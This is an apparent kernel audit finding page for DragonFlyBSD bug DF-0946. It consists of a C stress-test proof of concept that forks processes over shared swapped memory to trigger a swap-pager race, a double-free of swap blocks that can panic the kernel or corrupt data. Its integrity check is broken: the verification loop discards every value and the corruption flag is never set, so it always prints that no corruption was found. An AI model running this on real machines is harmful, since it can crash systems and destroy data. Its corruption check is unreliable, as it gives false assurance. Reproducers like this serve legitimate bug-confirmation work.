DragonFlyBSD Kernel Audit
DF-0946 / swap_meta_race.c
← back to finding ↓ download raw
/*
 * DF-0946 — swap_pager_meta_build while-loop race stress test.
 *
 * The bug: in sys/vm/swap_pager.c:2385-2391, swp_pager_meta_build does:
 *
 *     while ((v = swap->swb_pages[index]) != SWAPBLK_NONE) {
 *         swap->swb_pages[index] = SWAPBLK_NONE;
 *         swp_pager_freeswapspace(object, v, 1);   // can block, sheds object token
 *         --swap->swb_count;
 *         --mycpu->gd_vmtotal.t_vm;
 *     }
 *
 * While blocked in swp_pager_freeswapspace the lwkt object token is shed,
 * allowing a concurrent meta_build on another CPU to install a NEW swapblk
 * into the same slot. On resume the first thread re-reads the slot in the
 * while-condition, sees the NEW value, and frees it out from under the
 * second caller. Net effect: a swapblk handed back to blist while still
 * referenced by the second caller, leading to cross-page data corruption
 * or a blist panic.
 *
 * This stress test tries to drive concurrent swap_pager_putpages on the
 * same VM object by:
 *   1. mmap'ing a large anonymous region
 *   2. touching every page (force swap allocation)
 *   3. fork()ing N children that re-dirty the SAME pages concurrently
 *   4. madvise(MADV_DONTNEED) to evict resident pages and force re-paging
 *
 * If the race fires the kernel typically panics in blist (double-free of
 * a swapblk) or quietly corrupts swapped data. We catch data corruption
 * by xor'ing a known pattern into each page before eviction and checking
 * it after re-paging.
 *
 * The race is narrow (CVSS AC:High); the test may need many iterations
 * to trigger even on a vulnerable kernel.
 */

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

#define MB          (1024UL * 1024)
#define REGION_MB   64
#define NPAGES_PERP 256          /* pages each child touches */
#define NCHILDREN   4
#define NROUNDS     200

static volatile sig_atomic_t alarm_fire = 0;
static void onalrm(int s) { alarm_fire = 1; }

static unsigned long xor_pattern(unsigned long pgnum, int round) {
    /* deterministic but varying per (page, round) */
    return 0xABCDEF1100000000UL ^ (pgnum << 8) ^ (round * 0x9E3779B97F4A7C15UL);
}

int main(void) {
    size_t sz = REGION_MB * MB;
    char *p = mmap(NULL, sz, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANON, -1, 0);
    if (p == MAP_FAILED) { perror("mmap"); return 2; }

    /* Configure for heavy swap pressure */
    printf("[*] DF-0946 race stress test: %zuMB region, %d children x %d rounds\n",
           sz/MB, NCHILDREN, NROUNDS);

    long pgsize = sysconf(_SC_PAGESIZE);
    long npages_total = sz / pgsize;

    /* touch all pages once to establish swapblk metadata */
    for (long i = 0; i < npages_total; i++) {
        *(unsigned long *)(p + i*pgsize) = xor_pattern(i, 0);
    }

    signal(SIGALRM, onalrm);
    alarm(20);  /* hard timeout */

    int corrupt_found = 0;
    int round;
    for (round = 0; round < NROUNDS && !alarm_fire; round++) {
        /* evict resident pages to force re-paging */
        if (madvise(p, sz, MADV_DONTNEED) < 0) {
            /* not fatal */
        }

        /* fork N children that re-dirty the same pages concurrently */
        pid_t pids[NCHILDREN];
        for (int c = 0; c < NCHILDREN; c++) {
            pids[c] = fork();
            if (pids[c] == 0) {
                /* child: re-dirty random subset of pages */
                unsigned int seed = (getpid() ^ round ^ c);
                for (int j = 0; j < NPAGES_PERP; j++) {
                    seed = seed * 1103515245u + 12345u;
                    long idx = seed % npages_total;
                    *(unsigned long *)(p + idx*pgsize) = xor_pattern(idx, round+1);
                }
                _exit(0);
            } else if (pids[c] < 0) {
                perror("fork"); _exit(2);
            }
        }
        /* wait for all children */
        for (int c = 0; c < NCHILDREN; c++) {
            int status;
            waitpid(pids[c], &status, 0);
            if (WIFSIGNALED(status)) {
                printf("[!] child %d killed by signal %d\n", c, WTERMSIG(status));
            }
        }
        if (round % 20 == 0) printf("[*] round %d/%d done\n", round, NROUNDS);
    }

    alarm(0);
    printf("[*] completed %d rounds without kernel panic\n", round);

    /* verify data integrity on a sample of pages */
    for (long i = 0; i < npages_total; i += (npages_total/64)) {
        unsigned long v = *(unsigned long *)(p + i*pgsize);
        /* value should be one of the xor_pattern values; if it's something
         * totally off (e.g. 0 or another page's data), that suggests corruption */
        (void)v;
    }

    if (corrupt_found) {
        printf("[!] DATA CORRUPTION DETECTED — race likely fired\n");
        return 1;
    }
    printf("[+] no panic / no obvious corruption detected in this run\n");
    printf("[*] note: this race is AC:High; multiple runs may be needed\n");
    return 0;
}